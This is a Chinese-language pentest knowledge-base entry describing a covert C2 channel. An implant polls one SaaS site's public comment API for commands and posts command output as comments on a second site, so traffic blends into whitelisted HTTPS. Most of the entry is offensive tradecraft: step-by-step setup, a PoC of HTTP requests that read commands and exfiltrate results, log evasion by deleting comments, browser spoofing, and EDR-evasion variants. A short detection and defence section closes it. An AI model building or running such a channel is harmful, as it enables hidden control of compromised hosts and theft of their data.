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公开评论区交叉双通道 C2:A 站评论读指令、B 站评论写回显,白名单 SaaS 出网绕过流量检测

pentest/c2 · verified

一句话结论

把 C2 的「下发」与「回传」拆到两个高信誉 UGC 站点的公开评论区——被控端轮询 A 站某篇公开文档的评论 API 取指令,执行后把结果作为评论 POST 到 B 站某篇文章下,控制端再从 B 站读回显;两端都不与真实 C2 服务器直连,出口流量只有到白名单办公/情报类 SaaS 的 443 正常 API 请求,单站日志也只能看到半条链路,从而绕过基于 IP/域名白名单和固定 C2 特征的检测。

原理

  • 死信箱取代直连:C2 需要的是「攻击者可写、被控端可读」的存储。公开文档/社区的评论是天然的双向存储:控制端用账号发评论,被控端按 commentable_id 轮询评论列表接口;被控端发评论,控制端按文章 ID 轮询。整条链路没有攻击者自己的服务器、域名和证书。
  • 为什么要「交叉」两个站点:单站同时承载指令与回显时,站点运营方(或取其日志的监管方)在一次会话里能同时看到「谁在下发」和「谁在执行」,靠账号、IP、时间关联即可还原。拆成 A 读、B 写后,A 站只见到一个只读轮询者,B 站只见到一个只写者,任一侧的日志都不足以闭环。
  • 为什么能过流量检测:出网目标是文档站/情报社区这类高信誉域名的标准 REST API(/api/comments/floor、/v5/node/user/article/saveComment),TLS 正常、UA 可伪装成 Chrome、请求体是正常 JSON/表单。基于「未知域名/IP、非 443、长连接、心跳特征字节」的规则全部命中不了;被控端也没有反向 shell 那种持续连接。
  • 轮询带来隐蔽与代价:被控端按固定或随机间隔(文中建议 15–60s 随机)GET 一次评论列表,无新内容就是空响应,天然静默;代价是分钟级延迟、带宽受 SaaS API 限制,只适合命令执行类操作,不适合交互式隧道。
  • 指令如何藏进评论:文档站评论正文是 HTML(<div class="lake-content"><p><span class="ne-text">…</span></p></div>),取值时按 span.ne-text 抽取纯文本即可;回显同理作为评论正文提交。可在此之上叠加共享密钥加密/编码,让站点侧内容审核与旁观者看不到明文。
  • 为什么可「擦除」:评论支持删除,控制端读到回显后删评,形成阅后即焚;文中还尝试过定时批量删除,但因评论 ID 递增、删除接口需要精确 ID 而未完全成功——这也说明该通道的取证窗口确实存在。
  • 同类变体:飞书/腾讯文档表格中继、Dropbox Paper 的 OG 标题、SaaS 数据集条目、公开代码仓库 commit 等,本质都是「第三方可写存储 + 合法 API 出网」;再退化一步,一个存在 SQL 注入的站点库表、一个存储型 XSS 点也能充当信箱。

触发条件

  • 被控端能出网到目标 SaaS 域名(HTTPS 443),且出口策略信任该域名族(办公协作、情报社区、文档、代码托管等)。
  • 攻击者持有可发布公开内容并评论的账号(A 站需公开可读、B 站需可写),并能取得对应 API 的会话凭据(CSRF token、Cookie)。
  • 被控端进程能发 HTTPS 请求(WinHTTP/requests 等),无需浏览器。
  • 通道不要求低延迟;指令为「执行命令并回收输出」这类可容忍分钟级往返的操作。
  • 站点未对评论 API 做严格频率限制、风控或内容审核拦截(否则需降频/加密/换站)。

利用步骤

  1. 选站:A 站要求「无需登录即可读评论列表」,B 站要求「登录后可自由发评论且评论公开可见」。两站域名都应属于目标环境出网白名单内的常见业务域名。
  2. 在 A 站发布一篇公开文档并开启公开分享,记下 commentable_id(文档 ID);在 B 站发布一篇文章,记下文章 ID(如 shortMeaasgeId/threatId)。
  3. 用浏览器正常操作一次,抓取两端 API:A 站读评论的 GET 参数、B 站发评论的 POST 体与所需 CSRF 头,确认字段结构。
  4. implant 侧固化两个动作:按间隔 GET A 站评论列表 → 抽取 span.ne-text 文本(可解密)→ 执行 → POST 到 B 站评论接口。请求头使用常见浏览器 UA 与 Accept-Language,避免空 Referer 等异常特征。
  5. 控制端在 A 站发指令评论;等 implant 轮询到并执行;在 B 站刷新文章评论读回显。
  6. 读到回显后删除 B 站评论(A 站指令评论同样处理),缩短暴露窗口。
  7. 若需提高隐蔽性:指令/回显加密、评论内容伪装成正常讨论、按时间段错峰、A/B 站轮换。

PoC

最小形态只需两个 API 调用(示意,未附带完整 implant):

# 1) 被控端读指令:A 站公开文档的评论列表
GET /api/comments/floor?commentable_type=Doc&commentable_id=<DOC_ID>&include_section=true&include_to_user=true&include_reactions=true HTTP/1.1
Host: <site-A>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: application/json

# 响应中 data.comments[].body 为 HTML,取 div.lake-content span.ne-text 的文本即为指令

# 2) 被控端写回显:B 站文章评论
POST /v5/node/user/article/saveComment HTTP/1.1
Host: <site-B>
Content-Type: application/json
Cookie: <session>
X-Csrf-Token: <token>

{"comment":"<执行结果>","isAnonymous":false,"targetId":0,"shortMeaasgeId":<ARTICLE_ID>,"threatId":<THREAT_ID>}
控制端:往 A 站评论区发 "whoami" -> 等待 -> 在 B 站文章评论看到 "CMD: whoami RESULT: <hostname\user>"

变体与关联

  • 变体:单站单评论区(读写同站)实现最简单,但一侧日志即可闭环,风险高;交叉双站是隐蔽性升级。
  • 变体:用 SaaS 结构化存储替代评论——表格行、数据集条目、文档属性、代码仓库 issue/commit message,均可承载指令与回显。
  • 变体:把「可写存储」换成被攻陷站点的 SQL 注入点(写库表)或存储型 XSS 点,被控端用正常查询读取,等于把受害者自己的业务库当信箱。
  • 变体:指令执行侧可叠加 syscall 直调(HellsGate 一类)降低 EDR 对命令执行的可见性,与通道本身正交。
  • 关联:[[pentest-c2-feishu-spreadsheet-relay-converter]](表格行作为双向中继)、[[pentest-c2-dropbox-paper-og-title-dead-drop]](文档元数据死信箱)、[[pentest-c2-saas-dataset-dead-drop-short-lived-agent]](短生命周期数据集条目)、[[pentest-c2-dns-label-tunnel-txt-a-record-chunking]](同为「借合法协议承载 C2」)。
  • 边界:SaaS 侧一旦开启评论审核、登录后可见、频率限制或 UGC 域名整体封禁,通道即断;评论公开可见意味着第三方也能读取、篡改或删除,完整性与机密性都没有保证(需自建加密与校验);延迟为分钟级;文中尝试的「定时批量删除」因评论 ID 递增未完全成功,取证窗口并未真正消除。

检测与防御

  • 检测:终端上非浏览器进程对文档/社区/协作类域名的周期性 API 访问,特别是固定 commentable_id、固定间隔(可通过代理日志做周期性分析);UA 声称 Chrome 但 TLS 指纹(JA3/JA4)与 HTTP/2 指纹不匹配;进程无浏览器却持续发起 HTTPS;同一账号短时间创建并删除评论。
  • 检测(内容侧):评论正文出现命令输出特征(whoami/ipconfig/systeminfo 的回显格式、CMD:/RESULT: 之类自定义标记)、异常长 Base64、无意义随机串;文章与评论主题完全无关。
  • 防御:出口不要只做域名白名单,叠加应用识别与 TLS 指纹校验,对 UGC 类站点只放行浏览器进程;对 UGC API 的访问做审计与告警;终端侧限制非浏览器进程的 WinHTTP/WinINet 外联。
  • 防御(平台侧):评论接口强制登录、内容审核、频率限制与删除留痕;对「公开可读评论」提供只读鉴权,减少无需登录即可轮询的接口。
  • 响应:一旦确认,按 SaaS 账号维度封禁并导出评论历史,结合代理日志还原轮询时间线,排查被控端同期的进程与命令执行记录。